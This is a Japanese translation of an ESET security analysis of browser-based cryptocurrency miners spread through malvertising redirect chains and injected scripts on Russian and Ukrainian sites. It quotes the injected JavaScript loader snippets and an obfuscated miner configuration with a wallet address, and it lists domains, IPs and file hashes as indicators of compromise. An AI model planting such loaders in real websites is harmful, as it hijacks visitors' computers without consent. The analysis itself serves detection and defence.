ビットコインなどの仮想通貨は既存の貨幣と異なりオンラインで制御が行われ、各端末での分散処理によって新たな通貨が生み出される。この仕組みを悪用し、マルウェアに感染させた端末を外部から操作し仮想通貨の発行(=マイニング、採掘)を行って利益を得ようとするマルウェアが存在する。
この記事は、ESETが運営するマルウェアやセキュリティに関する情報サイト「Welivesecurity」の記事を翻訳したものである。
ESETによって、ブラウザー内で直接仮想通貨のマイニング(=採掘)を実施しているJavaScriptファイルが発見された(2017年8月)。サイバー犯罪者たちは長い間、仮想通貨を利用して利益を得てきた。しかしこれまでは、被害者のマシン上にマルウェアや不要なアプリをインストールして不正に金銭を獲得するのが通例だった。
だが本件に限っては、ユーザーが特定のWebサイトを閲覧した際にマイニングが実施される。そのため、被害者のマシンに感染したり、脆弱性を突いたりする必要はない。必要なのはJavaScriptを有効にしたブラウザーのみであり、たいていのブラウザーのデフォルト状態では、JavaScriptが有効になっているのである。以下では、この脅威をより深く理解できるように、ESETが行った調査の結果を提供する。
ESETは調査を開始し、この脅威が特にマルバタイジング(広告に見せかけたウイルス)を通じて拡散していることを発見した。この種のCPUリソースを激しく消費するタスクは通常は広告配信の世界では禁止されている。というのも、このような行為はユーザーの利便性を著しく低下させるからである。ブラウザーにて仮想通貨をマイニングするのは直感的には違和感を覚えるかもしれない。ESETは、ビットコインのマイニングには多大なCPUパワーを要することを知っている。しかしサイバー犯罪者は、後に見ていくように、カスタムハードウェアを必要としない仮想通貨を選択し、効率的にマイニングを実施しており、また、ユーザーのマシンに感染するより、Webサイトに「感染」することで膨大な数のマシンにアクセスする方が容易であることを知っているのである。
この種の、誰にも望まれていない攻撃の影響はどの国でも発生し得るのだが、この攻撃に限って言えば、主にロシアとウクライナに影響を与えている。図1に、本攻撃に影響を受ける主要5カ国を示している。標的となる国々がこのような結果になっているのは、おそらくスクリプトが埋め込まれているWebページの言語によるものである。実際、これらのサイトに米国のIPアドレスからアクセス可能であることを確認している。
図1 ESET LiveGrid®の調査に基づくWebマイナーに影響される国々
図2は「reasedoper[.]pw」という、これらのスクリプトを保持していたドメインの「Cisco Umbrella Top 1M」での順位の推移を示している。2017年の3~4月期にそのドメインのDNS問い合わせが顕著に増加していることが分かる。2017年6月28日には、「reasedoper[.]pw」は26,300位となっている。この順位は、GitHubの大変人気なテキスト共有WebサイトであるGitHub GIST(gist.github.com)とほぼ同順位であり、実際、同日のGistの順位は26,293位であった。
図2 Cisco Umbrella Top 1M. Lowerにおける「reasedoper[.]pw」の順位。値が小さい方がより人気のあることを示している。
歴史
仮想通貨をブラウザーでマイニングするというアイデアは目新しいものではない。2013年、MIT(マサチューセッツ工科大学)の学生グループが「ティッドビット」(Tidbit)と呼ばれる企業を設立し、この会社はビットコインをマイニングするWebサービスを提供した。宣伝を表示する代わりに、WebマスターはティッドビットのスクリプトをWebサイトに組み込み、ビットコインマイニングにより収益を得ることができた。しかし、本サービスの創業者はニュージャージーの司法長官に召喚されることとなった。というのも、彼らはユーザーのCPUを同意なしに利用していたためである。結局は和解することができた(www.njconsumeraffairs.gov/News/Pages/05262015.aspx)ものの、彼らはこのプロジェクトを放棄せざるを得なくなった。
すでに、「bitp[.]it」などの幾つかの他のサービスがWebブラウザーを用いたビットコインマイニンングを提供していたが、その非効率性が次第に増大したため、これらのサービスは閉鎖されてしまった。例えば、「bitp[.]it」プロジェクトは2011年7月に閉鎖している。
スクリプトの拡散方法
この種のスクリプトの拡散方法が、それが合法か否かを決定するキーポイントとなる。このケースに限って言えば、ユーザーがこれらのスクリプトを強制的に実行しなければならない2つの手法を発見することができた。1つはマルバタイジングで、もう1つは決め打ちされたJavaScriptコードである。図3にマイニング・スクリプトが世界中に拡散していく方法を示す。
図3マイニング・スクリプトの拡散方法
マルバタイジング
そのマイニング・スクリプトの主な拡散手法はマルバタイジングである。一般に、マルバタイジングは従来の広告の代わりに、広告ネットワークからの購買トラフィックと不正なJavaScriptの拡散で構成されている。今回のケースに限って言えば、そのスクリプトの埋め込みが意図的なものなのか、「listat[.]biz」が不正侵入を受けているのかをESETが判断することは難しい。しかし、「listat[.]biz」は正規のWebカウンターである「LiveInternetカウンター」を模倣しようとしており、非常に怪しい。また、マルバタイジング・チェーンに含まれていることが分かっている「lmodr[.]biz」を含む多数の怪しげなドメインが、同じメールアドレスに登録されている。
2017年7月中にマイニング・スクリプトへのトラフィックを提供した主なWebサイトは図4で示した通りである。それを見ると、そのほとんどが動画のストリーミングかブラウザーゲームのサイトであることが分かる。これには理由がある。というのは、こうしたサイトのユーザーは動画を見たりゲームをしたりしている間、同じWebページで時間を過ごす傾向があるからだ。それに加えて、こうしたWebページでは通常よりもCPUに掛かる負荷が大きくなると考えられる。すると、マイニング・スクリプトによってさらに負荷がかかっても、それが覆い隠されてしまいがちになることになる。こうして、マイニング・スクリプトを長い時間動かしてより多くの計算資源を利用することが可能となるのである。
私たちが最も不正な広告という印象を受け取ったサイトである「okino[.]tv」は特に人気があるようである。本稿執筆時点でAlexaのWebサイトアクセス数ランキングではロシア国内で907位、ウクライナでは233位となっている。ほかのWebサイトもまた人気を博しており、ロシアでのAlexaランキングトップ1,000に入っているものも幾つかある。
図5「Okino[.]tv」のAlexaによるランキング推移
ほかのサイトと比べてどのくらいの人口が「okino[.]tv」を利用しているのか、2016年10月から2017年1月、4月、6月までの推移。世界ランクで9,214位、ロシア内ランクで907位。
図6は、「wotsite[.]net」のWebサイトを訪問する際のCPU消費状況を示している。
図6 「wotsite[.]net」のWebサイトを訪問する際のCPU消費状況
上記の図3のリダイレクトの連鎖を示す特徴的な事例が図7である。図8、9、10に見られるように最初の3つの経由点(okino[.]tv、skyadsvideo1[.]ru, lmodr[.]biz)がその次の経由点(listen[.]biz)によって提供されることになるスクリプトを注入する。リダイレクトに使われる最初のドメイン(ESETのサンプルでは「skyadsvideo1[.]ru」)は常に同じであるわけではない。ESETでは別に「code.moviead55[.]ru」というドメインも見つけたことがある。この2つのドメインは同じIPアドレス「167.114.238.246」と「167.114.249.120」に「名前解決」(=ドメインとIPアドレスとを結び付けること)されている。ドメイン「skyad[.]video」のサブドメイン「code.skyad[.]video」もまた同じ2つのIPアドレスに名前解決される。「Whois」で「Skyad[.]video」に対応するデータを見てみると、これらのドメインは「SkyAdVideo」の広告ネットワークの所有者に関係するかのように見受けられる。
図7 「okino[.]tv」からマイニングのスクリプトまでのリダイレクションチェーン
<!--noindex--> <div id="sky_video"></div> <script type="text/javascript" src="http://skyadsvideo1.ru/code.php?v=e225aa8e9c1a68539730f11001490407"></script> <!--/noindex--> |
図8「Okino[.]tv」のホームページより
var script = document.createElement('script'); script.src = '//lmodr[.]biz/mdstat2.php'; script.async = true; document.head.appendChild(script) |
図9「Skyadsvideo1[.]ru/code.php」 (後にdeobfuscation)にあるスクリプトから
var script = document.createElement('script'); script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL); script.async = true; document.head.appendChild(script); |
図10「lmodr[.]biz/mdstat2.php.」
「PassiveTotal」で調べてみると「listat[.]biz」 はマイニング・スクリプトにリダイレクトしていた。ただ例外的に6月1日と7月5日にはそれは本物のアクセスカウンターと 「anstatalsl[.]biz」にもリダイレクトしている。その様子からして「lmodr[.]biz」と「listat[.]biz」はただ採掘スクリプトを注入するためだけに利用されているかのようである。
var script = document.createElement('script'); script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL); script.async = true; document.head.appendChild(script); |
図11「listat[.]biz/3.html.」
驚くべきことに、私たちは最初の経由点「moviead55[.]ru」が採掘プログラムをも注入することがあるという事例も目にした。採掘プログラムはこのWebサイト「moviead55[.]ru」に直接ホストされており、「ズィーキャッシュ」(ZCash)(2016年から運用されている仮想通貨)を採掘することができる。それは「ws.zstat[.]net:8889」に割り当てられたプールを利用しており、Webソケットを通して通信を行う。しかし私たちは「reasedoper[.]pw」上にホストされているスクリプトとそのコードの類似性をはっきりと示すことはできなかった。いずれにせよ、さまざまなグループが訪問者のコンピューターのリソースを用いて利益を得ようとしているのは確かなことと思われる。
決め打ちされたJavaScriptコード
私たちはまた、Googleのキャッシュ上に図10に示されたJavaScriptの同じ断片をたくさん注入された、約60のWebサイトがあるのも見つけ出した。これらのWebサイトのホームページはscript.phpのURLからスクリプトを注入するのである。
<script type="text/javascript"> document.write("<script type=text/javascript src=\""+"/script.php?group=4goodluck_org&r="+encodeURIComponent(document.referrer)+"&p="+encodeURIComponent(document.URL)+"\"><\/script>"); </script> |
図12 ホームページへのスクリプトの注入
このスクリプトは「static.reasedoper[.]pw」を含むさまざまなドメインからURLを呼び出す。このドメインは採掘に利用されるJS スクリプトをホストしている。これらのスクリプトの分析については次節で述べたい。注入された別のドメインの1つである「listat[.]org」はIPアドレスを不正広告キャンペーンのために使われているドメイン(listat[.]biz)と共有していることも注意しておきたい。もう1つの類似性は関数「show_260」という名前である。これもまた不正広告キャンペーンに利用されているのである。
全てを網羅するものではないが感染したドメインのリストはIOCセクションでも提供されている。そこにあるものの中で周知のWebサイトと思われるものは1つもない。
いかにして仮想通貨を発掘するか
幾つものスクリプトが「static.reasedoper[.]pw」と「mataharirama[.]xyz」上にホストされている。1つの名を持つスクリプトはただ1つのスレッドを展開するが、それ対して複数の名を持つスクリプトは複数の処理をマルチスレッドとして同時に並行処理を行う。それらのスクリプトとは作業者にさまざまな仮想通貨を採掘させられるJavaScriptファイルとなっている。こうしたスクリプトは一見分かりにくいものとなっていて、文字列リテラルは「¥x42¥x43…」といった16進法の特殊文字のみを用いて書かれている。
図13は、「フェザーコイン」(Feathercoin)、「ライトコイン」(Litecoin)、「モネロ」(Monero)がこのスクリプトを使って採掘されることを示す。ただし最近ライトコインは採掘されなくなっているようである。
function(_0xab8e5a, _0x36e7b7, _0x4c105c) { _0x36e7b7[_0x7e60('0x5')] = { 'assets_domain': _0x7e60('0xee'), 'debug': !![], 'feathercoin': { 'pool': _0x7e60('0xef'), 'default_wallet': '6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4' }, 'monero': { 'pool': _0x7e60('0xf0'), 'default_wallet': _0x7e60('0xf1') }, 'litecoin': { 'pool': '', 'default_wallet': '' } }; } |
図13 3つのコインがマイニングされうる
フェザーコインとライトコインはビットコインから派生した仮想通貨である。大きな違いはそれらがそれぞれ「ネオスクリプト」(neoscrypt)と「スクリプト」(scrypt)という違ったハッシュ・アルゴリズムを用いている点だ。その目的は通常のCPUというよりむしろASIC採掘機のような専用のハードウェアを利用する必要性を減らすことにある。それらの通貨を発掘するにはCPUだけでなく大量のメモリーを必要とする。
最後の「アルトコイン」(altcoin)のモネロは、先の2つとは違う。ビットコインに比べてプライバシーがより強化されているのが、その主な特徴だ。ブロックチェーンが透明でないので、取引の追跡が非常に難しい。モネロは特に「リング・シグネチャ」を使い、実際の送り手のアドレスを他の送り手のアドレスの中に紛れ込ませて隠す、という手法をとっている。それはまた、転送ごとに新しい公開キーを生成し、本当の受信者を隠してしまう。「クリプトナイト」(cryptonight)というハッシュ・アルゴリズムが使われており、これがさらに大量のメモリーを必要とする。そのため、レギュラーマシンでJavaScriptマイニングを行うためにこの種のアルトコインを選ぶのは、理にかなっている。
マイニングは膨大な処理能力を要求するので、オペレーターがハッシュ・アルゴリズムを施すのに、通常のJavaScriptではなく「asm.js」の使用を選んだとしても、驚きはしない。「asm.js」は、これらのアルゴリズムを通常の仕方でCスクリプトに施すより1.5から2倍ほど遅くなる、と言われている。それらは、「scrypt.asm.js」(ライトコイン)、「cryptonight.asm.js」(モネロ)、「neoscrypt.asm.js」(フェザーコイン)という形で、3つとも供給されている。
最後に、フェザーコインのウォレット・アドレスは、モネロの異なったアドレスが幾つか使われているとはいえ、全てのスクリプトにおいて同一である。しかし、同じアドレスが複数のスクリプトで共有されていることから、それらは全て同じ1つのグループに属していると考えられる。モネロのセールスポイントはなんといっても匿名性なので、私たちは、種々のウォレットに保存されている金額の総計を知ることができなかった。フェザーコインの場合と同じように、アドレスがネットワーク上で確認できなかったのだ。その正確な理由については定かではないが、マイニング・プールの使用と何か関係があるのかもしれない。
ほかのWebマイナーとのつながり
私たちはマイニング・スクリプトの中に、「6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4」というフェザーコインの決め打ちされたアドレスを発見した。Googleでざっと検索すると、このアドレスは、もうすでに何年間も使われていたことが分かった。
2016年の初めに投稿されたブログ記事で、あるネットユーザーが、「スクリプトがCPUを100%食ってしまう」と不満を漏らしている。そこに書かれていることは、私たちが分析したことと非常に似通っているし、フェザーコインのアドレスも一致している。この発見の時点で、問題のマイニング・スクリプトは「minecrunch[.]co」でホストされていた。このドメインを探していたら、「cryptocurrencytalk.com」でこんなトピックが見つかった。ユーザー名「Kukunin」がそこに「MineCrunchの控え目なサービス」と書き込んでいる。Kukuninは、そのパフォーマンスの体験を、こう説明する。
「従来のCPUマイニングではほとんど全くもうからないが、今回のCPU限定の新しい仮想通貨で分散処理に参加すると(訪問者が何万人も!)、ほとんど通常のスピードで(ありがとうasm.js!)、とても良い感じにできている。(中略)
Cスクリプト・マイナーが「Emscripten」を使ってJavaScriptにコンパイルされており、ベストパフォーマンスが達成できるようになっていた。パフォーマンスは、元のCPUマイナー・アプリケーションより1.5倍くらい遅い」
最初の投稿に貼ってあるリンクを見ると、同じフェザーコインのアドレスが例として挙がっている。このことは、マイナー「reasedoper[.]pw」と「minecrunch[.]co」とのつながりをあらためて教えてくれる。しかし、仮にMineCrunchの目的が分散処理の公開サービスを提案することだとしたら、アフィリエイトIDが特定可能というのはありそうにないので、「reasedoper[.]pw」が生み出した利益は明らかにMineCrunchの作成者(もしくは決め打ちされたアドレスの保持者)だけを潤すことになってしまうだろう。
結論
もともとのプログラムではなく「JavaScriptマイナー」を使うことでパフォーマンスが落ちるという事実にもかかわらず、このマイナーのWebサイトを訪れる訪問者の数のおかげで、おそらく彼らは金を稼ぐことができるだろう。「Cisco Umbrella Top 1M」によれば、2017年6月、ドメインネームサービス(DNS)の「正引き」(ドメイン名からのIPアドレスの割り出し)が「reasedoper[.]pw」でなされた数は、「gist.github.com」でなされた数と同じだった。この行為は、従来の広告に代わる別のやり方と見なしてよいのかもしれないが、やはりユーザーの同意がなければ望ましいものではない。ニュージャージー州消費者センターでは、同意がないにもかかわらず勝手にユーザーのマシンでビットコインを分散処理するのは、そのコンピューターにアクセスするのと同じことだ、という判断を示した。したがってそうしたサービスの開発者は、分散処理を始める前に、はっきりとその事実を広報しなければならない。しかし不正広告を使った分散方法は、完全にこれに反している。
最後に、ユーザーは、きちんと設定されたアドブロッカーや付属のスクリプトブロッカーを自分のブラウザーにインストールしておくことで、この種の脅威から身を守ることができる。ESETユーザーなら、この不正スクリプト、検知名「JS/CoinMiner.A potentially unsafe application」に対し、望ましくない可能性があるアプリケーション(PUA)の検知をオンにすれば、自己防御できる。
感染の疑いを確認するための指標 (= 危殆化指標、IoC)
マイニングとマルバタイジングのURL
ドメイン | URL | 注 |
---|---|---|
static.reasedoper.pw | static.reasedoper[.]pw/launcher.0.single.js static.reasedoper[.]pw/launcher.1.single.js static.reasedoper[.]pw/launcher.2.single.js static.reasedoper[.]pw/launcher.0.multi.js static.reasedoper[.]pw/launcher.1.multi.js static.reasedoper[.]pw/launcher.2.multi.js […] |
採掘するスクリプトをホストするWebサイト |
mataharirama[.]xyz | mataharirama[.]xyz/launcher.9.single.js | reasedoperのコピー。それらは以下の1つのIPアドレスを共有する 163.172.162.231 163.172.153.226 |
listat[.]biz | listat[.]biz/3.html | reasedoper[.]pw またはmataharirama[.]xyzへのリダイレクト |
lmodr[.]biz/td> | lmodr[.]biz/mdstat.php | listat[.]bizへのリダイレクト |
ハッシュ値
ハッシュ(SHA-1) | ファイル名 | 検出名 |
---|---|---|
fa2f4cf2f38383477a0a78d7e3d0841f254c5adf | launcher.0.multi.js | |
b9cd68313b72deac23a53f44ae68598ec139ad27 | launcher.0.single.js | |
e44c502ff69b6bbe291e8125304203af0f675aa3 | launcher.1.multi.js | |
7ce2fb5cea77cbd38cd54533bce81d1b0b0d7a82 | launcher.1.single.js | |
3b28b5f079f6d2bdaa028b31a2b5fa9734f832f2 | launcher.2.multi.js | |
51b97b46fe53cc5aaedc3f45d6517a74008ca9cd | launcher.2.single.js | |
38ccae4555505c8d5f36a9d9c9a20fe80a11304a | launcher.3.multi.js | |
2aa56f945c7d3805d3ee7851cdd4e932f1cd3160 | launcher.3.single.js | |
ae6fe31b8355a3e70d6bf6c89ff7ae18c8de41d0 | launcher.4.single.js | |
fc7e8fb976cc260ceb680e10713e4640b23dde79 | launcher.4.multi.js | |
d5482f2f7bab8a8832f65f6ba5dc2edc5e19687f | launcher.5.multi.js | |
b5d475d9c084d652faabe3888bbda5b673ebe9dd | launcher.5.single.js | |
626646c572211e157dceeb4b918b9f46c3c656f5 | launcher.6.single.js | |
3c70b32180c2e6ae39006eee867135650c98cfa0 | launcher.6.multi.js | |
80c11eb331758a4d6d581ddcb5ebeca9410afe93 | launcher.7.multi.js | |
52317c0abdc69f356dd2865c1fd35923f8beb7d3 | launcher.7.single.js | |
31d40684cd765ef6625fd9a03d2522d84f0ca79b | launcher.8.single.js | JS/CoinMiner.A 望ましくない可能性のあるアプリケーション(PUA) |
9bc931ec55d1fed45bec1c571a401f4a201a02cf | launcher.8.multi.js | |
afae4cf246125671b7eae976c7329b4e0729e109 | launcher.9.multi.js | |
3ac2e2d827e39bd802d5e3f7619099696bc38955 | launcher.9.single.js | |
c4c5f13f0250364bd1321d038d56dbf1a97154f8 | launcher.10.single.js | |
29695469e53822602d9b1884c2268a68e80df999 | launcher.10.multi.js | |
b34216ee46ea1355cbc956514012e74ff9712129 | launcher.11.multi.js | |
9394db4ba0ee70673d451547fd4ae40bfea6112d | launcher.11.single.js | |
6f0bf3fa4dea541a7293b89661d539bb602218c6 | launcher.12.single.js | |
3512351bd8903ae82cc1162fed4faaafceba893d | launcher.12.multi.js | |
5adf5146a84699b6aca5e9da52bb629bceaa7726 | launcher.13.single.js | |
8c45141791b94e172fd5ad8eaefebe5ebb8e729c | launcher.13.multi.js | |
519928629becb1f8b18a56609b03d4cea3c52ddd | launcher.14.multi.js | |
c5629530af39c99c25f83baee7db4a24a9d0aa03 | launcher.14.single.js | |
bf3a1151bc4f8188f735583257ecbbd1eaff123f | launcher.15.multi.js | |
6e5d2b1b9f1140079f3b48edec09c8515e77e14d | launcher.15.single.js | |
12b1bfd6b49c02f928f0429f1505d114583c213c | monero.worker.js | |
885f102c9d4dd2e286401756ca265e4aa3f7a664 | scrypt.worker.js |
念入りに中身を隠した注入用スクリプトを伴うドメイン
anekbook[.]ru
bike[.]co[.]ua
cg-lab[.]ru
dikobras[.]com
doctrina62[.]ru
ekavuz[.]ru
fenix-45[.]ru
ipnalog[.]ru
jobochakov[.]com
kharkov-arenda[.]com[.]ua
kuzdoska[.]ru
laminirovanievolos[.]ru
marlin-group[.]ru
mat4ast[.]com
megalifez[.]net
mirstihoff[.]ru
munirufa[.]ru
murlyka[.]net[.]ua
newscom[.]ru
obad[.]ru
ogms[.]ru
opinionblog[.]ru
optiplast[.]ru
otdamprimy[.]ru
pcook[.]ru
pogelanie[.]info
posbank[.]ru
programs-tv[.]ru
psinovo[.]ru
scoot-club[.]ru
ska4ka[.]com
stihi[.]by
stihoslov[.]ru
subcar[.]org
sumytex[.]in[.]ua
suntehnic[.]ru
td-klassik[.]ru
trbook[.]com[.]ua
vstupino[.]su
x-sport[.]info